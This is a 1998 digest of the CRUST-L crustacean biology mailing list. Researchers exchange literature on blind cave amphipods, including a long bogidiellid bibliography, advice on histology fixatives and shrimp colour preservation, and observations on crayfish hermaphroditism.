body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gannon, Andrew T."" Date: Tue, 31 Mar 98 09:47:00 PST Subject: RE: CRUST-L: Blind Amphipods Murat, I am glad to see the sudden spurt of interest in cave crustaceans on the list. I am putting the finishing touches on a paper on blind cave crayfish oxygen consumption. There was a recent paper on physiology of blind cave amphipods published in Physiological Zoology by Hervant and Mathieu et al.. F. Hervant, J. Mathieu, D. Garin and A. Freminet. 1995. Behavioral, Ventilatory, and Metabolic Responses to Severe Hypoxia and Subsequent Recovery of the Hypogean Niphargus rhenorhodanensis and the Epigean Gammarus fossarum (Crustacean:Amphipoda). Physiological Zoology 68(2)223-244. There was a second manuscript that was related to this one, but I don't know if it has been published. You can contact Frederic Hervant at: Service de Physiologie du Metabolisme Intermediaire et Energetique, Universite Claude Bernard-Lyon I, F-69622 Villeurbanne Cedex, France. another paper they put out is: F. Hervant and J. Mathieu. 1995. Ventilatory and locomotory act in anoxia and subsequent recovery of epigean and hypogean crustaceans. Comptes Rendus de L Academie Des Sciences Serie III - Sciences de La Vie - Life Sciences 318:585-592. But I have not gotten a copy of the latter manuscript yet. Good luck, Andy Andrew T. Gannon Assistant Professor INTERNET: agannon@bsc.edu Department of Biology VOICEMAIL: (205) 226-4899 Birmingham Southern College FAX: (205) 226-4627 BOX 549022 Birmingham AL 35254 http://panther.bsc.edu/~agannon/ ---------- From: owner-crust-l To: crust-l Subject: CRUST-L: Blind Amphipods Date: Monday, March 30, 1998 10:37AM Dear Crust'lers, Could anybody gime me the names of papers related with Blind Amphipods living in European inland waters(in caves and the others). Thanks for your helps! Greetings from Turkiye :-) Murat OZBEK Research Assistant Ege University Fishery Faculty Hydrobiology Section 35100- Bornova- IZMIR- TURKIYE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 31 Mar 1998 14:26:49 +0000 Subject: Re: CRUST-L: Hello! Leticia, I suggest you do a name search for papers by Klaus Anger and Ralph Dawirs who have worked extensively on the effects of many parameters on decapod larval development. Or best, write to Klaus in Helgoland. Regards, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeir�o Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Tue, 31 Mar 1998 14:41:19 +0000 Subject: Re: CRUST-L: Light Microscopy. Steve, In my experience, salinity and temperature-induced changes are not very evident in material prepared using conventional histological fixatives like Bouin's fluid, or buffered formalin etc. Results are best if you use a typical EM fixative (glutaraldehyde/para-formaldelyde in sodium cacodylate buffer for example) and proceed as for electron microscopy (fix on ice, correct pH and so on) but examine your material in thick resin sections (0.5 micrometer). People that work with Antarctic material often leave the tissues for up to a month in EM-like fixatives although some extraction is sure to occur (but less than with a typical 'histological' fixative). If you use resin-embedded sections you could try a mixture of methylene and toluidine blue in borax (all 1%). Typical stains for paraffin-embedded material include hematoxylin-eosin and Mallory's trichrome for example. You should check out some basic books on histological and electron microscopy techniques. Hope this helps, regards, John McNamara. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeir�o Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Stefan Koenemann Date: Tue, 31 Mar 1998 18:58:22 -0500 Subject: CRUST-L: Blind amphipod papers This is a multi-part message in MIME format. - --------------7977949A0A31495F7D90994A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Murat, I send you a list of papers, mostly on (Mediterranean) bogidiellids. The list is an attached file: bog_lit.txt, saved as MSDOS text. Stefan - -- Stefan Koenemann Dept. of Biological Sciences Old Dominion University Norfolk, VA 23529 USA Tel: (757) 683-3606 E-mail: biolgrad@odu.edu http://www.biology.odu.edu/bio/fachomes/jrh100f/personne.htm - --------------7977949A0A31495F7D90994A Content-Type: text/plain; charset=iso-8859-1; name=""Bog_lit.txt"" Content-Disposition: inline; filename=""Bog_lit.txt"" Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by tahiti.cc.odu.edu id SAA17108 Barnard, J. L. & Barnard C. M. (1983).--Freshwater Amphipoda of the World= . I. Evolutionary Patterns. Hayfield Associates, Mt. Vernon (Virginia). Botosaneanu, L. & Notenboom, J. (1988). Un amphipode stygobie de la Tha=8B= lande (Crustacea: Amphipoda).--Annales de Limnologie 24: 51-59. Bou, C. & Ruffo, S. (1979). Contributo alla conoscenza delle Bogidiella d= i Grecia (Crustacea Amphipoda Gammaridae).--Natura. Societ=85 Italiana di= Scienze Naturali, Museo Civico di Storia Naturale di Milano 70: 295-309. Coineau, N. & Chandrasekhara Rao, G. (1972). Isopodes et Amphipodes des s= ables intertidaux des Iles Andaman et Nicobar (Golfe du Bengale).--Vie et= Milieu (Ser. A) 23: 65-100. Coineau, N. & Stock, J. H. (1986). Amphipoda: Bogidiellidae, p. 574-580. = In: Botosaneanu, L. (ed.).-- Stygofauna Mundi. E. J. Brill, Leiden. Coineau, N. (1969). Contribution =85 l'=82tude de la faune interstitielle= - Isopodes et Amphipodes.--M=82moires du Mus=82um National d'Histoire Na= turelle (S=82rie A) 55: 145-216.=20 Coineau, N. (1984). Quelques aspects de l'adaptation des Crustac=82s Isop= odes, Amphipodes et Syncarides a la vie dans le milieu interstitiel.--Mem= oires de Biosp=82ologie 11: 7-15. Dancau, D. & Serban, E. (1965). La pr=82sence de Bogidiella albertimagni = Hertzog 1933 en Roumanie et qeulques remarques sur les esp=82ces europ=82= ennes du genre.--International Journal of Speleology 1: 339-348. Dancau, D. (1973). Observations sur les Amphipodes souterrains de l'=8Cle= de Majorque. Genre Bogidiella Hertzog.--Travaux de l'Institut de Sp=82ol= ogie 'Emile Racovitza', Bucharest 12: 113-119. Dimentman, Ch. & Por, F. D. (1991). The origin of the subterranean fauna = of the Jordan-Dead Sea Rift Valley: new data.--Stygologia 6: 155-164. Diviacco, G. & Ruffo, S (1985). Nuovi bogidiellidi delle acque sotterrane= e Africane (Crustacea Amphipoda).--Italian Journal of Zoology 7 (Suppl. X= X): 135-148. Farris, J. S. (1988). HENNIG86, ver. 1.5. Microcomputer program available= from author: 41 Admiral St. Port Jefferson Station, New York 11776. Grosso, L. E. & Claps, G. L. (1984). Tercer Bogidiellidae (Crustacea Amph= ipoda) de la cuenca del Rio Grande (Jujuy, Argentina).--Neotropica 30: 22= 3-231. Grosso, L. E. & Claps, G. L. (1985). Distribuci=A2n geogr=A0fica de la fa= milia Bogidiellidae (Crustacea, Amphipoda) en la Rep=A3blica Argentina, c= on la descripci=A2n de un nuevo subg=82nero y una nueva especie.--Physis = (Buenos Aires), Secc. B, 43: 49-55. Grosso, L. E. & Fernandez, H. R. (1985). Una nueva Bogidiella (Amphipoda = Bogidiellidae) hiporreica de la provincia de Tucum=A0n (Argentina).--Neot= ropica 31: 201-209. Grosso, L. E. & Fern=A0ndez, H. R. (1988). Un caso de simpatria de tres e= species del g=82nero Bogidiella (Crustacea, Amphipoda) en el noroeste Arg= entino, con la description de dos nuevoas especies.--Stygologia 4: 64-78. Grosso, L. E. & Ringuelet, R. A. (1979). Fauna subterr=A0nea de las aguas= dulces de la Rep=A3blica Argentina. I. Dos nuevas especies de Amphipodos= del g=82nero Bogidiella.--Limnobios 1: 381-394. Herbst, G. N. & Dimentman, Ch. (1983). Distributional patterns and habita= t characteristics of Amphipoda (Crustacea) in the inland waters of Israel= and Sinai.--Hydrobiologia 98: 17-24. Hertzog, L. 1933. Bogidiella albertimagni sp. nov., ein neuer Grundwasser= amphipode aus der Rheinebene bei Strassburg.--Zoologischer Anzeiger 102 (= 9/10): 225-227. Hertzog, L. (1936). Crustac=82s de biotopes hypog=82s de la vall=82e du R= hin d'Alsace, II. Bull. Soc. zool. France, 61: 356-372. Holsinger, J. R. (1986). Zoogeographic patterns of North American subterr= anean amphipod crustaceans. In: R. H. Gore & K. L. Heck (eds).--Crustacea= n Biogeography in Crustacean Issues: 85-106. Balkema, Rotterdam. Holsinger, J. R. (1993). Biodiversity of subterranean amphipod crustacean= s: global patterns and zoogeographic implications.--Journal of Natural Hi= story 27: 821-835. Hovenkamp, F., Hovenkamp, W. & van der Heide, J. J. (1983). Two new hypor= heic amphipods, Bogidiella (Bogidiella) cyrnensis n. sp. and Bogidiella (= Medigidiella?) paolii n. sp., from Corsica.--Bijdragen tot de Dierkunde, = 53: 82-92. Hovenkamp, F., Hovenkamp, W. & van der Heide, J. J. (1984). Morphological= differentiation of the genus Niphargus (Amphipoda) on Corsica - a numeri= cal approach.--Bijdragen tot de Dierkunde, 54: 147-155. Husmann, S. (1956). Untersuchungen =81ber die Grundwasserfauna zwischen H= arz und Weser.--Archiv f=81r Hydrobiologie 52: 1-184. Karaman, G. S. & Barnard, J. L. (1979). Classificatory revisions in gamma= ridean Amphipoda (Crustacea), part 1.--Proceedings of the Biological Soci= ety of Washington 92: 106-165. Karaman, G. S. & Pesce, G. L. (1980). Researches in Africa by the zoologi= cal Institute of L' Aquila, Italy. V. On three subterranean amphipods fro= m North Africa.--Bulletin Zoologisch Museum (Universiteit van Amsterdam) = 7: 197-207. Karaman, G. S. & Sket, B. (1990). Bogidiella sinica sp. n. (Crustacea: Am= phipoda) from southern China.--Bioloski V=88stnik, Lubljana 38: 35-48. Karaman, G. S. (1973). 54. Contribution to the knowledge of Amphipoda. On= the genus Bogidiella Hert. (fam. Gammaridae) in Yugoslavia.--Poljoprivre= da I Sumarstvo Titograd, 19: 21-53. Karaman, G. S. (1979a). Contribution to the knowledge of Amphipoda 92. Bo= gidiella chappuisi Ruffo 1952 and its variability with remarks to some ot= her species (fam. Gammaridae).--Poljoprivreda I Sumarstvo Titograd, 25: 1= 7-30. Karaman, G. S. (1979b). Contribution to the knowledge of Amphipoda 106. T= wo new Bogidiella species (fam. Gammaridae) from Italy.--Glasnik Republic= kog zavoda za zastitu prirode, I Prirodnjackog muzeja u Titogradu 12: 101= - -105. Karaman, G. S. (1981). Revision of Bogidiella-group of genera with descri= ption of some new taxa (fam. Gammaridae). Contribution to the knowledge o= f Amphipoda 121.--Poljoprivreda I Sumarstvo Titograd, 27: 23-44.=20 Karaman, G. S. (1982). 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The new genus of the family Bogidiellidae (Gammar= idea) from coastal seawater (mesopsammon) of Italy, Aurobogidilla, n. gen= . Contribution to the knowledge of Amphipoda 182.--Poljoprivreda I Sumars= tvo Titograd, 34: 93-105. Karaman, G. S. (1988d). Bogidiella chappuisi pescei, new subspecies from = the subterranean freshwater of Sardinia, with remarks to some other taxa = (Gammaridea, fam. Bogidiellidae). Contribution to the knowledge of Amphip= oda 184.--Glasnik Republickog zavoda za zastitu prirode, I Prirodnjackog = muzeja u Titogradu 21: 27-44. Karaman, G. S. (1988e). Additional characters of the species Bogidiella (= Bogidiella) copia G. Karaman 1988 (Gammaridea, fam. Bogidiellidae). Contr= ibution to the knowledge of Amphipoda 185.--Glasnik Republickog zavoda za= zastitu prirode, I Prirodnjackog muzeja u Titogradu 21: 45-53. Karaman, G. S. (1989a). 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Gli Anfipodi delle acque sotterranee italiane.--Lavori = della Societa' Italiana di Biogeografia (nuova serie) 7: 139-169. Ruffo, S. (1982). Nuovi Anfipodi di acque sotterranee della Somalia.--Mon= itore Zoologico Italiano 27: 97-113. Ruffo, S. (1984). Bogidiella nubica n. sp. from interstitial waters of th= e Sudan (Crustacea: Amphipoda). Studi sui Crostacei Anfipodi XCV.--Hydrob= iologia 110: 131-134. Ruffo, S. (1994). New stygobiont amphipods (Crustacea Amphipoda) from the= Philippine Islands. Studies on Crustacea Amphipoda CXXII.--Tropical Zool= ogy 7: 355-366. S=85nchez, E. L. (1991). Stygofauna of the Canary Islands, 22. Bogidiella= (Stygogidiella) atlantica n. sp. (Amphipoda) from interstitial waters on= the western Canary Islands.--Crustaceana, 61:113-124. Schiecke, U. (1978). Neue Amphipoda (Crustacea) vom Golf von Neapel (Ital= ia).--Bolletino Museo Civico di Storia Naturale, Verona 5: 355-368. Sket, B. (1985). Bogidiella (s. l.) gammariformis sp. n. (Amphipoda) from= Equador.--Biol. Vestn. 33: 81-88. Stock, J. H. & Iliffe, Th. M. (1987). The status of Bogidiella balearica = Dancau, 1973, a stygobiont amphipod from Mallorca.--Endins, 13: 39-46. Stock, J. H. & Notenboom, J. (1988). Five new bogidiellid Amphipoda from = Spain - the first freshwater records in the Iberian Peninsula.--Hydrobiol= ogia, 164: 75-95. Stock, J. H. & Rond=82-Broekhuizen, B. L. M. (1987). Stygofauna of the Ca= nary Islands, 3. The genus Bogidiella (Crustacea, Amphipoda).--Revue de Z= oologique Africaine 101: 439-461. Stock, J. H. & Vermeulen, J. J. (1984). Crustaces Amphipodes stygobies de= la Guadeloupe en relation avec l'histoire geologique de l'=8Cle.--Memoir= es de Biosp=82ologie 11: 265-273. Stock, J. H. & Vonk, R. (1993). Marine interstitial Amphipoda and Isopoda= (Crustacea) from Santiago, Cape Verde Islands.--Bijdragen tot de Dierkun= de 62: 21-36. Stock, J. H. (1978). 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Some remarkable distribution patterns in stygobiont = Amphipoda.--Journal of Natural History 27: 807-819. Stock, J. H. (1994). A new member of the family Bogidiellidae (Crustacea,= Amphipoda) from the poikilohaline waters of Madeira.--Bocagiana 171: 1-8. Swofford, D. L. (1993). PAUP: phylogenetic analysis using parsimony, ver.= 3.1. Computer program distributed by Illinois State Natural History Surv= ey, Champaign, Illinois. Wiens, J. J. (1995). Polymorphic characters in phylogenetic systematics.-= - -Systematic Biology 44: 482-500. - --------------7977949A0A31495F7D90994A-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ludwig Buckup Date: Tue, 31 Mar 1998 13:09:37 -0300 Subject: CRUST-L: Hermaphroditism in Parastacus Hi all, especially answering to Curt Fiedler,John Short, Keith Krandall, Tom McRae and Didier Bouchon, who brought so interesting informations about protandrous hermaphroditism in crayfish. The genus Parastacus is represented in the Neotropics by 8 species. Originally it was supposed that all of them have two pairs of genital apertures (male and female simultaneously), but Rudolph (J.Crust.Biol., v.15.n.4, p.720-732,1995)verified that only few specimen of Parastacus nicoleti, from Chile, show both openings. P.nicoleti is the first described case of protandrious hermphroditism in Astacidea. Primary females occur in P.nicoleti, that means, specimen that never were males. These animals show only true female openings on the coxae of the 3rd pereiopods. But the majority of females passed through a male phase, keeping atrophied vas deferens and male genital openings during the female phase. In our research group we are studying the native brazilian species Parastacus brasiliensis (first results published: Revista Brasileira de Zoologia v.14,n.2,p.497-509,1997) and P.nicoleti (paper in preparation). All examined specimen, without exception, show both male and female genital openings and two pairs of gonoducts. Some animals with ovotestis were found during the period of reproductive inactivity. The development of the ovarian tissue can begin on the anterior or the posterior part of the gonads. All analysed females have a pair of atrofied (posterior) vas deferens, suggesting that they passed anteriorly trough a male phase, as a consequence of the activity of the androgenic hormone. All males with full functional vas deferens have also a pair of (anterior) atrofied oviducts, suggesting the existence of a potential possibility to become females. There is no critical size to become females. The gonads are totally thoracic, the two bilateral parts completely connected on the saggital plane. The anterior part is vertically elevated, lying just behind the stomach and surrounded by the hepatopancreas. The posterior part lies over se intestine and under the heart. Just my humble contribution. Ludwig Buckup =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Marcelo A. A. Pinheiro"" Date: Wed, 1 Apr 1998 07:25:53 -0300 Subject: CRUST-L: Ucides cordatus researchers This is a multi-part message in MIME format. - ------=_NextPart_000_000D_01BD5D3F.6770A400 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am begining a project about biology of the mangrove crab Ucides = cordatus (growth, maturity, fecundity and embrionary stages) and I would = like to known other researchers that are working with this species to = change information. Thanks... Marcelo Pinheiro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_000D_01BD5D3F.6770A400 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am begining a project about = biology of the=20 mangrove crab Ucides cordatus (growth, maturity, fecundity and = embrionary=20 stages) and I would like to known other researchers that are working = with this=20 species to change information. Thanks...   Marcelo Pinheiro   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Prof.=20 Dr. Marcelo Antonio Amaro PinheiroFCAV - UNESP Campus de=20 JaboticabalDepto. de Biologia AplicadaRod. Carlos Tonanni, km 5 = - - CEP=20 14.870-000Jaboticabal (SP) - BrasilFone: +55 16 3232500 (Ramal=20 230)Fax: +55 16 3224275e-mail: pinheiro@fcav.unesp.br~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  - ------=_NextPart_000_000D_01BD5D3F.6770A400-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Volker Koch"" Date: 1 Apr 1998 11:31:11 +0100 Subject: CRUST-L: Hello there! My name is Volker Koch, I'm doing my doctorate thesis on mangrove crabs, mainly Ocypodidae and Grapsidae in a mangrove system in northern Brazil within a german-brazilian research project (MADAM). The main focus of my work is on 1) community dynamics, zonation ... and on 2) secondary production, population dynamics and consumption of the most important species. Field data were taken between Aug.'96 and Jan.'98. I'm starting now to analyse the data and would like to here from people who are working in the same field. I'm looking forward to hearing from you! Best regards Volker =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #131 ***************************** >From owner-crust-l Thu Apr 2 15:38:39 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id PAA00570 for crust-l-digest-outgoing; Thu, 2 Apr 1998 15:35:13 -0500 Date: Thu, 2 Apr 1998 15:35:13 -0500 Message-Id: <199804022035.PAA00570@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #132 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 6 crust-l-digest Thursday, 2 April 1998 Volume 01 : Number 132 CRUST-L: MACROBRACHIUM Re: CRUST-L: Hermaphrodite discussion (FW shrimps) [none] CRUST-L: Re: your mail CRUST-L: preservation CRUST-L: Re: your mail CRUST-L: cAROTENOIDS IN HAEMOLYMPH CRUST-L: Reference CRUST-L: Sesarma curacoense in Brazil?? CRUST-L: Feeding in monodon CRUST-L: Journal Titles. Re: CRUST-L: Reference CRUST-L: preservation CRUST-L: Hormones Re: CRUST-L: Sesarma curacoense in Brazil?? ---------------------------------------------------------------------- From: OMAR PEREZ Date: Wed, 01 Apr 1998 07:51:27 -0500 Subject: CRUST-L: MACROBRACHIUM HI! MY NAME IS OMAR PEREZ AND I WORK WITH SHRIMP FECUNDITY AT UNIVERSITY OF PUERTO RICO. I WANT TO KNOW, HOW MANY MACROBRACHIUM SPECIES ARE KNOWN FOR AMERICA AND WEST INDIES? CHOUDHURY(1969) REPORTED 26 SPECIES. THANKS OMAR PEREZ UNIVERSITY OF PUERTO RICO PO BOX 23360 SAN JUAN PR 00931-3360 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Wed, 1 Apr 1998 15:42:14 +0200 () Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) On Tue, 31 Mar 1998 wdaniels@dsc.edu wrote: > > Curt, > > Although these are your humble ramblings, they are accurate. The > aberrations reported in crayfish and other decapods are sometimes the > results of physiological damage to the androgenic glands in males. > These can be due to parasitic damage or other causes. The norm for > these is to be male if the androgenic gland primordia is present and > female if not. > > Bill > --------------------------------------------------------> Hi Bill In the case of the redclaw crayfish Cherax quadricarinatus we found that the intersex individual is a functioning male with a permanently arrested ovary. Removal of the AG (done by my student Isam Khalaila) permitted ovarian maturation while the testes became arrested. I don't think that in this case the intersex species are actually males with a damaged AG. Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Sally Skelton Date: Wed, 1 Apr 1998 08:59:40 -0800 Subject: [none] I'm looking for a method of keeping the color (of shrimp) that we collect and preserve. The shrimp are collected each month but it may be months before we process the samples. By then, the spot of color on Crangon nigromacaculata may be faded or gone. Since it's a surefire identification characteristic, it would be nice to be able to see the spot a few months after the samples are collected. We preserve the samples in 5% formalin on the boat. Any ideas? Thanks Sally Skelton Department of Fish and Game Bay Delta Division 4001 N. Wilson Way Stockton, CA 95205 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Wed, 1 Apr 1998 10:26:51 -1000 Subject: CRUST-L: Re: your mail On Wed, 1 Apr 1998, Sally Skelton wrote: > I'm looking for a method of keeping the color (of shrimp) that we collect > and preserve. The shrimp are collected each month but it may be months > before we process the samples. By then, the spot of color on Crangon > nigromacaculata may be faded or gone. Since it's a surefire identification > characteristic, it would be nice to be able to see the spot a few months > after the samples are collected. We preserve the samples in 5% formalin on > the boat. Any ideas? Someone here once threw some Sodium Benzoate crystals in a bottle with alcohol preserved shrimp specimens. The crystals never quite dissolved all the way, but most of the colors remained for several months, and were still there the last time I checked. Unfortunately, I don't know if it works with formalin or have a proper recipe. Perhaps you can find papers on its use in fixative, or someone on the list can ellaborate. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Keith A. Crandall"" Date: Wed, 01 Apr 1998 14:12:49 -0700 Subject: CRUST-L: preservation >I'm looking for a method of keeping the color (of shrimp) that we collect >and preserve. The shrimp are collected each month but it may be months >before we process the samples. By then, the spot of color on Crangon >nigromacaculata may be faded or gone. Since it's a surefire identification >characteristic, it would be nice to be able to see the spot a few months >after the samples are collected. We preserve the samples in 5% formalin on >the boat. Any ideas? The best way to preserve the coloration patterns in crustacea is by taking a color photo! Then, preserve your specimens in at least 70% EtOH. This way they have a much greater utility for future research. Once specimens are preserved in formalin, they become useless for DNA extraction. Additionally, after some time, the exoskeleton becomes very brittle so the specimens loose value for morphological analyses as well. A photo can become a perminant record of coloration pattern to be tied to a specific specimen. While I realise from personal experience that it is not convenient to carry around a camera and associated photo equipment, the results are well worth the effort. cheers, Keith Crandall =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To 